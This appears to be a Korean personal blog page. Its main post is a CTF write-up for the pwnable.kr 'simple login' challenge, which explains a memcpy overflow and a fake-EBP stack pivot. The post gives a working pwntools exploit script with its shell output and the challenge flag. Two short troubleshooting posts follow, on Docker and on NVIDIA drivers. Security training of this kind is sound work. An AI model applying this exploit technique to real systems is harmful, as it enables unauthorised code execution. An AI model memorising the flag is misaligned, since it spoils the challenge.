[pwnable.kr] simple login writeup


[summary] fake ebp

Can you get authentication from this server?

Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003

실행시켜보면 입력을 받고 특정 루틴에 따라 hash를 계산하여 출력한다.

ch4rli3kop@Mandu:~/Downloads$ ./login 
Authenticate : AAAAA
hash : b26fd022d7efc5b78180f16ada99c32a

이제 내부를 분석할 차례인데, IDA가 없으니 pseudo 코드를 나타낼 수 없어 뭐로 설명해야할 지 잘 모르겠다. 귀찮으니 그냥 요약하겠음

사용자의 입력은 우선 스택에 입력받은 뒤, Base64Decode() 함수를 거쳐 decoding 된 뒤, memcpy를 통해 .bss 영역의 input(0x811eb40)에 저장된다.

이 후 auth()를 거쳐서 calc_md5()를 통해 계산된 hash 값을 0x80da684에 저장되어 있는 f87cd601aa7fedca99018a8be88eda34와 비교하는데, 이게 같으면 correct()가 실행된다.

취약점은 길이 제한없이 복사하는 memcpy 때문에 발생하게 되는데, auth() 내부에 존재하는 memcpy에서 input(0x811eb40)에 저장되어있는 값을 stack에 복사하면서 EBP를 덮을 수 있는 취약점이 발생한다. (main()에 존재하는 memcpy는 입력의 길이 제한때문에 별 문제없이 동작함)

별 특별한 동작없이 auth()main()의 함수 에필로그가 연달아 수행되기 때문에, 걍 fake ebp를 사용하면 된다.

exploit

#!/usr/bin/python
from pwn import *
import base64

r = remote('pwnable.kr', 9003)

payload = p32(0x8049278)*2+p32(0x811eb40)
r.sendline(base64.encodestring(payload))

r.interactive()

흐름대로 따라가면 payload의 첫 번째 4바이트는 결국 스택처럼 사용되는 공간인데, input 공간이 적당한 위치의 .bss 영역에 존재하므로 대충 input 주소로 맞춰주어도 무방하다.

위의 페이로드는 우선 0x811eb40이 auth()EBP를 덮어서 auth()의 에필로그 과정에서 EBP가 0x811eb40으로 된다. 그 후 main()의 에필로그 과정에서 첫 번째 0x8049278(correct의 내부 주소)은 새로운 EBP 값으로, 그 다음 0x8049278은 새로운 EIP가 된다.

ch4rli3kop@Mandu:~/WRITE-UP/pwnkr/simple_login$ python sol.py 
[+] Opening connection to pwnable.kr on port 9003: Done
[*] Switching to interactive mode
Authenticate : hash : 328f78c8913117042ea4b3541aa8899d
Congratulation! you are good!
$ id
uid=1037(simplelogin) gid=1037(simplelogin) groups=1037(simplelogin)
$ cat flag
control EBP, control ESP, control EIP, control the world~


'Writeup$ > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] simple login writeup  (0) 01:00:38
[pwnable.kr] md5 calculator writeup  (0) 2019.05.17
[pwnable.kr] brain fuck writeup  (0) 2019.05.14
[pwnable.kr] input writeup  (0) 2019.05.01
[pwnable.kr] leg writeup  (0) 2019.05.01
[pwnable.kr] coin1 writeup  (0) 2019.05.01

docker-compose up error


ch4rli3kop@Mandu:~/composetest$ sudo docker-compose up
ERROR: Couldn't connect to Docker daemon at http+docker://localhost - is it running?

If it's at a non-standard location, specify the URL with the DOCKER_HOST environment variable.

요런 에러가 떴을 때, docker 서비스를 시작해주면 된다.

ch4rli3kop@Mandu:~/composetest$ sudo service docker start
ch4rli3kop@Mandu:~/composetest$ sudo docker-compose up
...

잘됨! bb

'Information* > Troubleshoot' 카테고리의 다른 글

docker-compose up error  (0) 2019.06.02
Ubuntu 18.04 시작 시 멈춤 현상  (0) 2019.06.02
git pull error 해결  (0) 2019.04.13
npm 오류 해결  (0) 2019.04.13
WSL bash 응답없음 오류  (0) 2019.03.27
pip3 오류 발생했을 때  (0) 2019.03.10

Ubuntu 18.04 시작 시 멈춤 현상

Ubuntu 18.04를 설치를 다하고 마지막으로 restart 버튼을 누른 순간 갑자기 노트북이 맛 갔다(!)

화면이 멈춘 채로 아무고토 못하게 됐다.

부팅 usb를 꽂아서 다시 설치해보려고 해도 이번에는 설치화면에서 멈추는 현상이 발생했고, 여러 번의 삽질의 끝에 recovery boot로 어찌어찌 접속해서 해결해보려고 했다.

낯선 log를 봐서 조금이나마 단서를 찾아보려고 했지만 진짜 낯설어서 그런지 모든 게 총체적 난국으로 보였다.

드라이버 문제인 것 같아, 패키지 및 커널을 업데이트하는 등의 여러 삽질을 진행했지만 정상 부팅을 하면 여전히 똑같은 보라색 화면만을 볼 수 있었다.

역시 믿을 건 구글신뿐이랴... 열심히 삽질에 삽질을 거듭한 결과 x server와 graphic driver의 호환문제라는 것을 찾았다..

대충 nvidia driver를 설치해주면 해결된다고 한다. 맞는 드라이버를 찾는 방법은 아래 링크가 많이 도움이 되었다. https://linuxconfig.org/how-to-install-the-nvidia-drivers-on-ubuntu-18-04-bionic-beaver-linux


Solve

당연히 recovery boot로 진입하여 다음 명령어들을 사용한다.

ch4rli3kop@Mandu:~/Downloads/Typora-linux-x64$ ubuntu-drivers devices
== /sys/devices/pci0000:00/0000:00:01.0/0000:01:00.0 ==
modalias : pci:v000010DEd00001C8Csv00001462sd000011C8bc03sc02i00
vendor   : NVIDIA Corporation
model   : GP107M [GeForce GTX 1050 Ti Mobile]
driver   : nvidia-driver-390 - distro non-free
driver   : nvidia-driver-415 - third-party free
driver   : nvidia-driver-430 - third-party free recommended
driver   : nvidia-driver-418 - third-party free
driver   : nvidia-driver-396 - third-party free
driver   : nvidia-driver-410 - third-party free
driver   : xserver-xorg-video-nouveau - distro free builtin

내 노트북은 GTX 1050 Ti를 사용하고 있는데, nvidia-driver-430을 추천한다.

ch4rli3kop@Mandu:~/Downloads/Typora-linux-x64$ sudo apt install nvidia-driver-430

그에 맞게 설치한 뒤, 재부팅을 해주면 된다.

'Information* > Troubleshoot' 카테고리의 다른 글

docker-compose up error  (0) 2019.06.02
Ubuntu 18.04 시작 시 멈춤 현상  (0) 2019.06.02
git pull error 해결  (0) 2019.04.13
npm 오류 해결  (0) 2019.04.13
WSL bash 응답없음 오류  (0) 2019.03.27
pip3 오류 발생했을 때  (0) 2019.03.10

+ Recent posts